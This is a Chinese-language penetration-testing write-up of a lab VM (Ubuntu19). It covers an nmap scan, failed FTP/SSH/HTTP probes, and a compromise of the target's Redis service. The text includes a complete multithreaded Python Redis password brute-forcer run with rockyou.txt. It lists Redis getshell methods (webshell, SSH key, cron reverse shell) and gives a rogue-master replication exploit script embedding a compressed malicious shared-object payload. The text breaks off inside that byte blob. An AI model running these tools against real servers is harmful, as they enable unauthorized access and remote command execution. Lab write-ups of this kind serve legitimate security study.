image-20210321214141408

多看书吧,没啥好说的。

Ubuntu19 渗透


一、目标配置:

- 攻击机:

  • KALI(msf6):192.168.111.133

- 靶机:

  • UBUNTU19:192.168.111.142

二、具体步骤:

* UBUNTU19(192.168.111.142):

- 信息搜集 & getshell:

话不说,上 端口扫描 吧:

nmap -O -A -sV -p- 192.168.111.142

得到结果:

┌──(root💀kali)-[/ctf/python]
└─# nmap -O -A -sV -p- 192.168.111.142 
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-13 08:55 EST
Nmap scan report for 192.168.111.142
Host is up (0.00056s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ca:5d:8f:1a:58:0c:cb:eb:39:b7:7a:aa:e5:d0:ed:5d (RSA)
|   256 d3:dd:e1:1e:ad:1b:a5:c3:55:4b:70:29:3b:4e:ea:be (ECDSA)
|_  256 14:a7:b5:af:3a:15:f3:df:70:e4:ad:4d:cf:c1:65:0d (ED25519)
80/tcp   open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: GXU\xE5\x92\x95\xE5\x99\x9C\xE7\x81\xB5\xE6\xB3\xA2~\xE5\xB9\xB3\xE5\x8F\xB0
6379/tcp open  redis   Redis key-value store
MAC Address: 00:0C:29:83:43:B8 (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.56 ms 192.168.111.142

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.79 seconds

可以看到,开放的端口如下:

  • 21端口:ftp
  • 22端口:ssh
  • 80端口:http
  • 6379端口:redis

行吧,这个靶机看起还挺稳固的,开的端口不是很多。由于开放的端口比较少,这里依次对所开放的端口进行攻击尝试。

- 21端口 (ftp):

从上边的 nmap 扫描结果,轻易的出来这个 ftp 应用为 vsftpd 3.0.3 的,不妨直接使用 msf 进行尝试。

image-20210313220312817

emmm,这个版本似乎是比较久远了,显然是不太行的了。可以试试看吧。

image-20210313220452121

确实不太行,试试看能否从 匿名用户 登录以便搜集一些信息啥的。

image-20210313224628406

匿名用户看起来也是不行的了,暴力破解显然是不太可取的。那么 ftp 这条路就暂且搁置。

- 22端口 (ssh):

还是先用 msf 的侦察模块去试一下吧,

image-20210313224910484

这里得到了有关靶机的 ssh 信息,然后尝试 枚举 一下 ssh 的用户:

image-20210313230221066

看起来靶机是开了 防火墙 了,不仅对枚举进行 假正确 响应,还对暴力枚举进行了次数限制。那就先暂时放弃对 ssh 的攻击吧。

- 80端口 (http):

emmm,实话说这个 web 端确实挺有意思的,不过实际上也就是个静态页面而已,没啥突破口可言。

image-20210313234213299

虽然这里得知这个服务器是 nginx1.14.0 ,但是一个静态网页确实没啥办法啦,直接放弃吧。

- 6379端口 & getshell (redis):

说到 redis ,这里可以尝试访问:

redis-cli -h 192.168.111.142

结果是可以进去的,但并不能直接执行指令,还需要进一步认证:

image-20210314185923784

也就是说这个 redis 并不存在 未授权认证 的漏洞。不过咱么可以写一个暴力破解 redis 认证密码的脚本,尝试进行攻击吧。而对于 redis 的暴力破解攻击,无非就是 执行认证命令 -> 检查是否认证成功 整个步骤,这里可以在本地简单地分析一下 redis 的命令格式吧。

首先在本地将 redis 安装了,然后编辑 /etc/redis/redis.conf 文件,设一个简单的密码:

image-20210314190738615

然后使用redis-server redis.conf 将配置加载了,再使用 service redis-server restartredis 重启了,再输入 redis-cli 进入本地的 redis ,尝试执行任意命令,如果出现认证错误则说明成功设了密码,也可以再尝试输入密码看看:

image-20210314191731122

OK,此时此刻,使用 socatredis 的整个交互过程进行查看吧,直接执行 socat -v tcp-l:3331,fork,reuseaddr tcp:127.0.0.1:6379,fork 进行端口转发,然后使用 redis-cli -h 127.0.0.1 -p 3331 连接监听的端口。此时就可以看到和 redis 交互时的内容了。

image-20210314191438935

之后使用刚刚设的密码来一个完整的认证,这时可以观察 redis 交互时的格式了。

image-20210314192134074

具体格式为:

  • ‘*’ + [参数数量] + ‘\r\n’
  • ‘$’ + [第 1 个参数长度] + ‘\r\n’
  • [第 1 个参数内容] + ‘\r\n’
  • ‘$’ + [第 2 个参数长度] + ‘\r\n’
  • [第二个参数内容] + ‘\r\n’
  • ……

比如上边的 auth dqv555 这个命令,整个格式即为:

*2\r
$4\r
auth\r
$6\r
dqv555\r

这应该算是显而易见的了,那么假若要爆破 redis 的认证密码,不妨可以发一个形如以下格式的包进行爆破,若 redis 回显 OK 则说明认证成功。

*2\r
$4\r
auth\r
$[密码长度]\r
[密码]\r

那么,可以简单的写一个脚本吧。

from socket import socket, AF_INET,SOCK_STREAM
from threading import Thread

passContent = None
CRLF = "\r\n"
pad = "\n"
waitDict = {}
finish = False
result = None

class _List(list):

    def __init__(self, seq=()):
        super(_List, self).__init__(seq)

    def readline(self):
        try:
            return self.pop(0).encode()
        except IndexError:
            return b''

    def close(self):
        self.clear()


class _Run(Thread):

    def __init__(self,host:str):
        global waitDict
        super(_Run, self).__init__()
        self.setDaemon(True)
        self.host = tuple(int(each) if each.isalnum() else each for each in host.split(":"))
        self.thisName = self.getName()
        waitDict.update({self.thisName:False})

    def run(self):
        global passContent,waitDict,result,finish
        print(f"<<< Start from {self.thisName} >>>")
        while not waitDict[self.thisName]:
            passwd = passContent.readline().decode()
            if passwd.find(pad) > -1 and passwd.rsplit(pad,1)[1] == "":
                passwd = passwd[:-len(pad)]

            if passwd != '':
                s = socket(AF_INET, SOCK_STREAM)
                s.connect(self.host)
                payload = "".join(_redis_format(*line) for line in [
                    ["auth", f'{passwd}'] if passwd else []
                ]).encode()
                s.send(payload)
                if b'+OK' in s.recv(1024):
                    print(f">>> Success from {self.thisName} <<<")
                    result = passwd
                    s.close()
                    break
                s.close()
            else:
                waitDict.update({self.thisName:True})
                return

        finish = True

def _redis_format(*redis_cmd):
    if len(redis_cmd) == 0:
        return ""

    cmd = f"*{len(redis_cmd)}"
    for line in redis_cmd:
        cmd += f"{CRLF}${len(line)}{CRLF}{line}"
    cmd += CRLF
    return cmd

def goBrute(host:str,threadNum:int,passList):

    global passContent

    if isinstance(passList,str):
        try:
            passContent = open(passList,"rb")
        except FileNotFoundError:
            raise Exception("File not found...")
        except OSError:
            raise  Exception("File can't be read...")
    elif isinstance(passList,list):
        passContent = _List(passList)
    else:
        raise  Exception("Error passList...")

    for each in range(threadNum):
        try:
            _Run(host).start()
        except IndexError:
            break

    while not finish:
        try:
            if not bool(sum(not each for each in waitDict.values())):
                break
        except KeyboardInterrupt:
            print("<<< bye!!! >>>")
            passContent.close()
            exit()

    print(f"<<< get result -> {result} >>>") if result is not None else print("<<< failed... >>>")


if __name__ == '__main__':

    """
        @ host = 目标地址
        @ threadNum = 开启的线程数
        @ passList = [filePath/List] 密码字典,可以是文件路径或纯列表

    """

    password = [
        "123",
        "123456",
        "1234567",
        "23333"
    ]
    #password = "./password.txt"


    goBrute(
        host="192.168.111.142:6379",
        threadNum=5,
        passList=password,
    )

然后先指定一个字典,这里我直接使用 kali 自带的字典好了 /usr/share/wordlists/rockyou.txt ,然后将调用的代码改一下:

password = "/usr/share/wordlists/rockyou.txt"
goBrute(
    host="192.168.111.142:6379",
    threadNum=5,
    passList=password,
)

简单运行一下,看起来已经能得到 redis 的认证密码 123456 了:

image-20210314211600118

OK,那么尝试入侵靶机的 redis 试试:

image-20210314212128974

显然是成功认证了,那么就可以使用靶机上的 redis 了。说到 redis ,实际上有 4 种方式来 getshell ,这里一一列举说明并尝试看看吧。

  • 第一种,写 webshell

    emmm,这个原理其实也很简单,由于现在已经可以操作 redis 了,就可以把带有 [一句话] 的内容存在 键值对 中,然后将 redis数据库 导出到 web 目录中的 特定的文件名 中,比如 (.php、.jsp啥的) 就行了。

    那么这里先简单写一个 .html 文件试试:

    image-20210314212937892

    看起来并没有成功,其实还有很多不确定的因素在里边的,比如 是否拥有写权限 这就很重要。一般高版本 redis 用户的权限都是极低的,当然也有可能是 web 目录没有写权限。

  • 第二种,写 ssh 密钥:

    这个就比较麻烦了,由于 redis 无法读本地文件,所以不知道靶机上具体拥有的用户有哪些,而 root 用户启动 redis 又几乎是不太可能的,况且高版本的 redis 默认是 redis 用户,权限极低。不过也可以简单试一试是否拥有写权限。

    image-20210314213259723

    还是直接放弃吧,看得出来这个 redis 应该是个权限极低的 redis 用户了。

  • 第三种,写 计划任务 来反弹shell:

    至于 计划任务 也就是将内容写入 ,也就是将弹shell的语句写入 计划任务 中执行 。在 ubuntukali 中,得写到 /var/spool/cron/crontabs/root ,而 centos 得写入 /var/spool/cron/root 中。只是这玩意几乎是不太可能的。

    image-20210314214810353

  • 第四种,依靠 主从复制 来执行命令:

    说到 主从复制 这应该是这几年的比较新颖的攻击方式了吧(据说是从 ctf 出的),这里就部分摘抄 链接 说明一下好了。

    Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。

    为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。

    简单来说也就是,在自己的 攻击服务器 上开一个 假的redis 服务器,然后让 靶机的redis 开启 主从模式 连接 假的redis 服务器。当 靶机的redis 连接过来后,向其发送一个恶意的 so 文件(比如包含执行系统命令函数)。然后连接 靶机的redis 去加载这个 so 文件里边的 邪恶函数 ,即可能够执行命令了。

    简单图示:

这里就直接个一个利用脚本吧:

from socket import error, socket, AF_INET,SOCK_STREAM,SOL_SOCKET,SO_REUSEADDR
from zlib import decompress
from threading import Thread

exp = decompress(b'x\x9c\xed}\t`TE\xd6\xee\xbd\xddY:\x9d\xadIBh\xf6\x00\x01\x82@\x08\x8b\x98\x11\x81\x84\x10\x08{$\x04\x01\xd1\xa6\x93t\x92\x86\xa4;\xf4\x82\x01\x1d\x88\xb2\xc8"\n\xc2(\xe3\xa0F\xc7%.\xa3\xb8\xa0\x88\x8e\xc4e\x04\x1dG\xa3\xb8\x04u4.8aT@\\~\x141\xef\x9c\xbaU\x95\xee\xbau\x1b\xe7\x7f\xf3\xde\xff\xff\xef\xd9pso\x9d\xef\x9cS\xa7N-\xf7v\xdf\xaaSk\ngN1\xa9\xaa\xc2>fe\x82\x82\xa9\x86,-\x9dG\xe9\x19\xf7r\x16\xa0\xe5*\xd1\xf0\xd7\xaet#\xbc\xd1\x8a\xf1\xa7WQ\xf8\x194\x91\xbf(\x17\x03G\xe3l\x8d\xda8;#\xec|\x92\x9a\xd4\x12\x1d.g:\x87\xdc\x12*\xc7\xce\x16*}\xf1\xd1@EL\x04;\xc5\x8f\x8d\x9e\xe7\x82\\\xd4\xbf\x90\x1f\xf3\xe4Z8n\xa4\xd7c\xe8y>\x1cA8\xb8+\x84O\x86\x90\xeeM\xf5\xb0O\x1c\x1c\xe7\xc3Q\x08\xc7H8\xba\xc0\x91\x08G\x1f8\xea\x94\xf0\xfc\xd3\xe0\xa8\xa0\xd7\xe8\xc2\xbe\xf4\xda\x0e\xc7\xc0\x10\x9dVz^\x06G\x12\x1c\x13\x15\xad\xceo\xa0\xf4j8\xae\xa2\xd7\xf9p\x14\xd0\xebmpL\x82\xc3\x01\xc7\x94\x10}\xab\xe9\xd9\x0bG<\xbd\x1e\x0c\xc7\x05!<\x1b\xe18\x0f\x8e\xad4\x9d\x0b\xc7x8~C\xd3\x1b\xe8y.\x1c\xdb\xe1H\x87\xe3R8.\x83c\x01\x1c\x17R\xfcbz\x9e\x00\xc7dz\x1d\x1b\x92\xcf08\xba\xc3\x91\xadh\xed\x06?\xe5pl\xa2\xd7[\xe0h\x80\xa3\x14\x8eJ8\x96R\xfa%p\\\x0b\xc7\xd5p\xa4\x84\xe8\x1b\x05\xc7\x0c8\x06\xc0\xe1\xa2\xb4up$\xc3q%\x1cUp\xac\x80\xe3r8z)Z;\x1d\x07\xc7z8.R\x8c?\x0bC\xae\xfdp8\xe9\xf5<Ek\x87n8\xa6R\xdaL\x89\xfcu\x06z\x8b\x85\xf4\x08\tO\x89\x81l\xad\x84\xe6\x83\xa3GHz\x11\x1cs\xe0\x18\x02G\x19\x1c\xa3\xe1\xc8\xa1\xd8pz\x9e\x0e\xc7 z\xdd\x95\x9e\x97\xd3s\x00\x8e\xd9!\xfa\xae\xa7g\x0f\x1c\x99!\xf4\xa1pL\x83#!\x84\xd6\x8f\x9e\x7fK\xcf\xd7\x18\x94\x03?5\x110\xfct\x83c,\xbd\xde\x0c\xc7Jz\x9d%\xf0\xa5\xc2\x81cAO\x9a^C\xcf\x16E\xff\xb9\x82\x9e\xcd\x02}\x16=\xaf\xa2\xe7%\x11\xec\xeaO\xcf\x8bCh\xf5\xf4\x8cm\xc4F\x0f\xec\xc3\x8dEjCT\xf1\xb6m\x87\x1aT\xdb\xf5\xb6\x06\xa0g*\x96\rq\x8a\xed\xbak\xa22b\xd3\x94\x9c\x84\x8dK\x12\x86\xe7\xdd\x11\xa7\xa4\xe4\xbd\x9c`Q\xf2\x1a\x07\x14\xdbL\x851\xca\xc6u#\xcdi\xd3\xa3\x922L\x16\xf5\x1a\xa5{\x83}\xd4\xefO\xb5e*\xee\xb4\xe2glQ\xa6\x02\x9b\x92u\xdd\x10{\x83M\xedr\x8d\xcd\x92gR\x9a\xa2\xb76\xad\x1dm\xb3l\x8b\xca\xb0\xda\xa6\xefO\xceW\xce\xbf\x0bj=\x03\xed\xc0\xbe\x82\xe3\x0e\xfa\xb3{\x88\x9f\xf0\x83cY\x06\xbd\xc6\xba\xc3>\x84u\x8cm\x03\xc7\x07\xf45\x8e\t\xc3(\x0f\xb6\x1fl\xaf\xd8\x9e\xb0\xdf\x8d\xa6t\x1cKq\x0c\xc4\xfa\xc2q\x03\xc7\x02\xecc\xd8\xbf&P\x9e<E\x1b\xabp|\xc2\xf1\n\xc7\x06\x1c\xa3\xb0\x0fa;b}\x08\xfb\x07\x8e1\xf3i\x1a\xc7\x16\xec\x8b\xd8\xae/\xa5~\xbf\x9cb8\xce-\t\xf1=\xb6w\x1c\x1b\xb1o\xb2qc\x19=c\xdf\xc16\x8cc2\xb6u\xec7\xd8\xd6Y\x9b\xc0:\xc46v%Mc\x1b\xc6q\x93\xb5\'\xfc4(Z\x9b\xc6\xf1\x7f\x1d\xa5\xe1\x98\x84c\'\x8e[\xd8Wp\x0c\xde\x1e"S\xf3l\xd6\x94\xab?\xb9/\xba2a\xce\xe0\x89-U\x03Z.\xb9\xf5\xc4C\x07o\x9cy\xd9\x93w\xbc\xe1+[\xff\xc5\x8c\x82\xebK\xda\x96\xde6\xf0\xf6\xe7r\x97\xf7\xba\xef\xb3\xc6\x07\xe6\x05/\xaf\xf0\x1d\xbd\xf8\xd1\xbb<\xd3?\xbe\xec\xa7\xa4\xd7\x87\xdd\xf6\xdd\x84Y\x9f\x8e\xfc\xc3\xbb\xbbN\xb96\\_R\x96\xb7k\xc3\x90Mk[\xd7\xce\xcdzpF\xf2\x9e\'~\x1c~\xd4\x7f\xf3(\xf5@\xd4\xc6\xd1O\x9c\xed\xb9\xf8\xa6\xa1]\xdf,\xea\x7fG|\xf3\x99\xe0G\x83\x8e\xdd\xb5\xfe\xf6)\xf3\'9\xfer\xfd\x0fI\x17\xec{\xfaw_M\x9b\xd4\xff\xd2n3\xdf\xfc{\xc9M\x1br\x8f\xb8\xbey\xf2\x92\x87:*V\x9f\xd8\x15wC\xe2\x80\x82\xc2\xb7\xbf\x8c\x1f\xf2\x9b\xc7\x9a\x86N:\xb6\xf5\xe5\x1bvf]\xb3\xe9j\xe7\xed\x83\xdez\xf8\xba\x01\xcfT\xbd\xf3\xfa\x84\xbd;\xaa\xdey\xdb\xb3\xa8p\xd8U\xaf\xfe\xf4\xee\xe4#E\xce[\xdb\x1e\xda\xd6\xfd\xc8\x8e\xa7Ko\x1d;6/e\xdd+\xb6\x83\xe5\x8f\xdc\xb8\xc4\xfd\xde\xea\xe5\x837,\xf5\x9e\xaa\xb9w\xd2\xc2[\x0b\xbbM\xdd\x9fZ\xfd\xfc\xd1\xea\xf9\xc7\xbf\xbfo\xdd\xd2\xfb\xcf\xcb\xba\xaa\xf8\xb6\xaeck{\xbd\xb2\xab\xf9\xdd\xaa\xbb\xfc+?\x18td\xf9\x82^\xaf\xffm\xd5\xfa\xef\x9arN\xbf\xbf\xa6f\xf6R\xf5\xcbq\xdd\xbaL;\xf1\xf4\xa77^\x95|r\xb6i\xea\x89\xa7\xde\xbbl]rKL\xcb\xe7/\x9dj9zq\xd9\xc5\xcb\xeb{$\xf5;z\xff?\xc6]r\xf7\xdd\x85O\xab\xfe\xc2\x1e\x7fX\xdd\xf3\x86\x19\xb7\xfcv\xb9b\x8d.\xbd\xf6\xf5\x0fo\xaf\xbaoo\xb0\xec\x83\x1f\x93\xd6\x7f\xde\xba\xe3\x92\xc3\x7f\xb9\xf4\x80o\xee\x9dS.\xda\xf9\xcf\xf5E\x9b\xb7\xd8N\r\x9b\xf9\xe5C\xb5\xc7oMj:Y\xf2\xc7\xab\xae<{S\xd27\xdf\xce\xf8)\xe9\xb1\xf1o?wQ\x97o\x93\xe27\x9e\xed\x7fm\xd5\xd0\xe3_\xafoj\x18\xf7I\xcfw\x94g\xffc\xe1\xd7\xc1\xfb\xd7\xf4\xdd\x9ba/\x18\xf0\xe7\xbf\xa4\x8f>~\xd6\xf6\xf4\xe8\'\x1ey\xf5\x8d\xa2\xa7\xf2+\'\xcd]S\xfa\x1f\t\xd7l\xb8\xe0\xfd\x0f\xbf\xba\xd2\xe3y\xadr\xff\x91\xd6\x1d\x97\xae\x1d\xb2c\xe6\xdc#\xf7\x1c>U:\xa0\xcb\xc1\xbf\x0fr?\xf9]\x92\x12\xe1\x13H\x08\xbf\xa7\xb1\xcf\xcd\x06\xf4\x83\x06\xf4\x0f\x0c\xe8\xdb\x0c\xe8\x9b\r\xe8\x1f\x1b\xd0\xffl@\xaf5\xa0_i@\xaf2\xa0\xef3\xa0\xaf5\xa0\xbfe@\xff\x9b\x01=\xd1\x82\xcfgI\xca\xc9\xe2\x0c\x92f\xf7\x88\xf1\xf1\x1a\xddrq8\xfdH\x9cF\xcf\x99\x1bN\x7f\xc1\xa4\xd1\xed%\xe1\xf4\x1f\x15\x8d\xbeD\xe0_\x10\xad\xd1w\t\xf4\xa3Q\x1a\xbdZ\xd0\xf3\x0c\xcdw\x8f`\xe7`\xaa\'K\xd03^\xd5\xe8-\x82\x9eA\xb4\xbc\xca\xbcp\xfa>\xca\x7fH\xd0?\x91\xf2\xdb\x05\xfe\x12j\xcf!!\xdfRj\xff\x02!\xdf\xab\xac\x1a\xfd\xb4@\xff\x86\xda\xaf\x08\xf4;\xa9\xfe,\xc1\xff\xf3\x99\xfdB\xbe]\xa8\x9e\x06\x81\x8e\xf7,\xa4g\x88zb4z\xbb@\x9fA\xf9\x9b\x04?,\xa5\xf6\x9c\x14\xf4\xd7\xd0\xf2\xb6\x0b\xfc\x17Rz\x9e\xa0_\x8d\xa5\xf5"\xd0WS\xffg\x08\xfa\xff\xc2\xda\x89\xc0\x9f\xca\xec\x14\xdb\'\xe5\xb7\x0bz\x0eP{\xda\x04;\xaf\xa6\xfe\xdc&\xf8\xdf\x94@\xdb\xbfP\xef\x7f\xa1\xf9V\x0b\xfa\xb7Pz\x83`\xcf)\xea\xb7F\x81\xff^Z\xdejA\xff^j\xcfFAO#\xed_\xcd\x02\xfd\x1e\xda\xae\x1a\x04\xfb\xe7\x98i\xbd\x08\xf4\xe8D|\x16KT\xb6Q?\xb0O&\xd5\x9f%\xd8\xf3\x01-W\x9d\x90\xef\x0f\x94\xbfX\xe0o"\xe3L\x9c\xb26WK\x8f\xa3_\xf4\x82\xb4\xbd\xb5\t\xf6\x0c\xa3~.\x12\xe8\xc7i;\xc9\x13\xe8\xcb\x99=\x02}\x15\x1d\xaf\xf6\t\xf5\xbb\x83\xfay\x9f\xe0\xffXj\xffFA\xcf\x83\xd4o\xadb\xfb\xa1~n\x14\xfc\xf0\t\xd5\x93#\xf8\xe12\xea\x878\xfa\x85r\x15\xf5\xc3p\xaa\x7f\x9b\xa0\xe7&Z\xde=\x02})\xe3\x17\xca\xd5\x8d\xb6\xab\x16\x81\xaeR\xff\x14\x0b\xf6\x8f\xa5\xfeo\x12\xe8\x1e\xda_\x9a\x04?|I\xfdyR\xa07\xd2~T,\xd8\x99F\xfd\xb3D\xa0\x8f\xa2\xf4\x16!\xdf2\xea\xb7"\xc1oWR\xfai\x81\xff\xf7\xd4\xfe<\x81?\x81\xb4\xe7$]{\xce\xa5~X \xd8s\r\xb5?W\xa0o\xa6~>$\xd0\x8f\xd1\xfe\xb8K\xf0\xf3\xdf\xa8=\xf5\x82\x7f\xec\xd4\x9e\xbay\xe1\xf6<I\xfd\xd9,\xf07Q;\x9b\x05\xfd\n\xad_\x9b\xe0\x874\xda\x9e\xeb\x05;\x1f\xa1\xed\xa7M\xa0\x17P=\x16!\xdf3\xcc\x0f\x02\xbd\x85\xea9$\xd0\x0fQ\xff,\x11\xfc_I\xed\xc9\x13\xec\xbc\x9c\x96\xcb&\xe8\xf9\x8a\xf2\xe7\x08v\xee\xa2~n\x15\xfcPE\xdb\xcf6A\x7f\x03\xb5s\x9f\xa0\xa7\x1b\x1dO\xec\x02]\xa1\xfe\xaf\x16\xe8\xc3\xa9\x7f2\x84r\xb5\xd3\xfe\xfb,\xfd\xb1\xe7-J\xaf\xa5v\xda\xc4q\x80\xfag\xa3`\xe7\xcd4\xdfz\x81^H\xedl\x13\xe8\x8b)\x7f\x8e\xe0\xb7\nZ\xde"\x81\x7f\x08\xf5g\xae@\xdf\xce\xc6+\xc1\x9f\xafR\xfb-b\xbb\xa2\xf9.\x10\xe8\x87\xd9\xf8)\xd8\xf3\x0e\xe5o\x14\xe8\x17P;\x8b\x05zo\xda\xdeN\x0b~;L\xed\xcc\x10\xf8\x7f\xa6\xfe\xb4\t\xf52\x9e\x8eW\xcd\x82\x9d\x0fSz\xae\xc0\xdf\x95\xdasZ\xf0\xc3W\xb4\xff\x16\t\xf6\xacc\xcf\x1b\x82=\xc5\xd4NE\xe0\xcf\xa3\xe3U\x9d`\xcfL6\x9e\x0b\xf4M\xb4\xbd\xb5\x0b\xf4]4\xdf\x93\x82\xfe!\xd4\xcfK\x04{\xbaR\xfb\x17\x08\xe5\x9dK\xeb\xabU\xd0\x93B\xfd\x99%\xe8y\x8c\xea\xd9#\xd0\xbf\xa0\xe5m\x15\xe8\xca\\W\x85\xdb?\xcb[\x11\xacq9\xf2kj\xbc\xe5a\x94\xb9.\xa7\x8e6\xc5\xe7r\x85\x11\n\xf4<%\x01_E\xb0.\x8c4\xd5\x15\xc8\xafs\x87\x0b\xfa\\\xce\x80\xab\xc0[[\xeb\xf4T\x84\xcb\xbb\x02\xdaU~ \xe0s\x97\xf9\xc3\xc0i\xf4b\xb6\xb3\xd65)\xe8_\x19\x06^\xe2\xf3z\xaa\xf2}\xee\xc0J\xa1 u5+/q\x07\xaag\x02\x8c\x87h[\x89\xab\xc6U\x1epUL.\x13\x0cA\xb2@\x9cS\xe7\xf2\xccp\x85gPP\xe3\xf5\xbbD"\xa4\xe7\xad\xac\x0b\xf7\xd6|gM\xd05\xd3\xe5\xa9\nT\x87\xd1g\xba\xfd\x81\xe2\xa0_B\xf4\xd6\xe9\xdc\xad#\x90\xf2\x15\xfb\xbc\x01\xaf\xae\xae8,\x17\xd2\x19\xc8\x91i\x9e\x80\xab\xca\xe5\x93\x83\x92\x12p,\xdf\xe7s\xae,\xacq\xd5\xba<\x01I\x85C\xe3p\x0b\x15\x10\nL\xf1yk\xa5\xb5$2\x9dCO1\xfc\tT\xea\xdc!\x91\xa2\xfc\x01\x1f\x14J\xdej\n}>\xafO\x0e\x95\xb8k\xebjdZ9\x07q\x87\x1e\x826N\x10\x89\';\x95\x13\xb5\x93\x82\x95\x95.\xa3\xec#d<;(\xb4\x14\x8eL\xf6\x06\xcbj\\rL\xde^\xb4|\xe6y\xa55\xc3@\x89\xda\xfc`\xc0;\xcbU\xeb\xf5\xe9=\xe0.\x87\xba\x92S\xe7\xbb|e\xce\x80\xbbV\xde\xbex}El\x1e\xf2rL\x86\x0e\x1d\xd0u\xd4RO\x8d\xdb\xb3L\xa4j\xba\xa0\x9e$\xd4\xc9\xb3\xf2e.\xf0\x05=\xbaR\xc1\xe8RX_\xe7\xf6\x85SK\xa4\xd4E~h\x15\x15\x15:\xda4O\xb9\xafl\xa5\x8e\\R\xee\x95(\x98\xeb\xaa\xd5\xd3\x9c\x9e*p\x8e0\x96 2\xc5\xed\xf3\x83~\xa2\x8ap\xe98f:\xcf\xc1@U\xcct\xd5GR`\x08\x13jA\xd0\xe7\x83\xf1B6lp\x9e\xd9\xaez\x03\xa4\xd8\xe7Z!G\n=\x15p\x17+\xafv\x85;\xb5\xc8\xe9\xaf\x16k\x16iS\x05\xda4?\xb4\n\x7f\xb1\xd7\xef\x0e\xb8\xbd\x9e\xb9\xae\xe5A\x97?\x9c\x03\xf0|\x18\xa4\xfdb\x9d\x17\xd4\xb8\xa1 \xd3*tt/\x8c\xab\xf5\x81)5\xce\xaap\x99b\xaf\xb7F\x7f\x0b\xd6\x9a\xf5dg\xc0\xa9\x1b\xa9\xb5\x13\x92\xa1$\xe4\xbeb\x00C\xae\x11\x84\xa7\xca\x84K\x9c+\\\xa5\x1e\xbf\xbb\xca#8n\xa6\xd7Y!\x05P\xa2D\xce/!\x17\xd6\xba\x03\xf9s\xa6\xe85H\x86gN\x96\x0c\x84D\xbd^\xa6\x93,\x91A\x85\x92\xa1\ne$d\xe4\x9eR\xe3u\x06t\xcc2\xaahF\xd5\xb49\xfa\x9b\x87fY~\x1d<GTH\x07\xf7\x80\xd3\xed1\xbcQ\xc1\x03S\x9d\xd3\xa7\x1bcX\xbb\x82\xa1o\xda\x9c\xf0\xaav\xd7\xd4\xb8\xfd\xaer\xaf\xa7"\xbc\xc5MvWAk\x86\xf1\xc6\xd0U\x9cC:\xeek(\xf4\xb0\x12\xec\x17\x9er\x97\xac\xe5\xba\xcb\xc3}\x847a\x1d\x11\t%\xeeU.=\x11\n\xa6#\xe2\xb0\xee,w\xe9\x01\xb1G\x870\xeb\xe8Se\x9a\xc5\xee\x8f4\xb8e\xe8\x19\x81\xa8\xa3M\x0b\xb8|\xce\x80\xd7W\x12p\xfa$\xba\xc3\xe0\x08\xa80F\x87\x82s]~\x97k\x99\xb1j\r\xd7\xc18n\xea\x85p\xcc\xd4Suc,c\xd5\x11i;\xd4\xab`\rt\xb2\x97=\xdb\xd7y\xa1\xa9+\xb5\xda\x17\x05\x7f\xc0W\x03)\x9f\x8b\'\xe1\x96\xa9TV\xb9\x02~\xa5\xae\x1c\x9f\xa3\x15\x87\xc3\x1fp\x96/s\x94W/sT:\xdd\xe8\xea\x15%\xd5\xae\x9a\x1a\xa6\x10\n\xebV\xdc\x1eW\xc0\xe1\xac\xa8\xf0)\xd5\x01\xaf\xc7\xaf\xf8\xbd\xe5\xcb\xa0\xfe\xa0\x9d{\xe0\xa1]\x81o \xa3\x14W\xbd\xab|Ex\xe5\xcf\xf1`\xe7Uj\xdce\xe5\xd9~o\xf6X\xc5\xe1\xaa\x80\xe1\x152-\xf3\xfb1c\xa8\x1d\x07\xf4Le\xea\xcci\x93\n\x1c\xa3\xb2\xc7\xf0\xabQ\xd9\xf8\x12X1)f8\x8c\xfe\xa9\xbf\xfe\x83\x7f&\xe5LB\xe7|\xa64\xb7;\x11g%\xf4N\xd4h\xc1\x1e\xee8\xf4\xe3\xe0D\r\xb7\xd3\xef\xf38\x8f\xa6sV\x98\xa2d\x84\xd0M!\xf4\xac\x10z\xe8\\\x87\x9c\x10zT\x08=7\x84\x1e:o,/\x84\x1e:O\xab(\x84\x1e:\xb7\xa78\x84n\t\xa1/\x08\xa1\xc7\x85\xd0\x97\x84\xd0\xad!\xf4\xea\x10z|\x08\xbd.\x84\x1e:\xef\xa4>\x84\x9e\x18Bo\x08\xa1\x87\xbe\x80\xdd\x18BOV\xf4\x9f\x8e\xf3\xaf\xc9\xcaP:\x06\xae\x83\xbf\xc9}\xf3\xe0\n\xd3\xd5\x08\x1dk\xeb\x80\xcf\xc0U\x98\xc6\xaa8\xd6B\xd2>Lc\x15\x1ck&\xe9\xa5\x98F\xd7\x1f\xdbC\xd2e\x98F\x97\x1fk$\xe9E\x98FW\x1f\xdbF\xd2s1\x8d.>\xd6@\xd2\xd31\x8d\xe6\x1d\xab#\xe9I\x98F\x97\x1e[B\xd2\x17b\x1a]y\xac\x98\xa4Ga\x1a]x,\x8f\xa4\xcf\xc34\xba\xeeX\x0eI\xf7\xc74\xba\xecX\x06I\xf7\xc04\xba\xea\x98\x8d\xa4S0\x8d.:\xa6@\xb2\xb4h\xd3\xd1\xa2\xb5_\xe6\x14m\xfam{\xd1\xa6`\xdb\xa6\xd2\x0f6\xcdj-\xdaR\xd8^\xb4E)\xdaTx\xbahK\xe9\xe9\xa2\xad\xd1\x15\xe7e@\xd2\x06W\x8b\xf0\n\xb0\xad]\xb7\rA\xda;E[\xc7\xbf\xd6\x05<\xd9\x02\xe0x\x0e^\x99\xc5\xc0\x17\x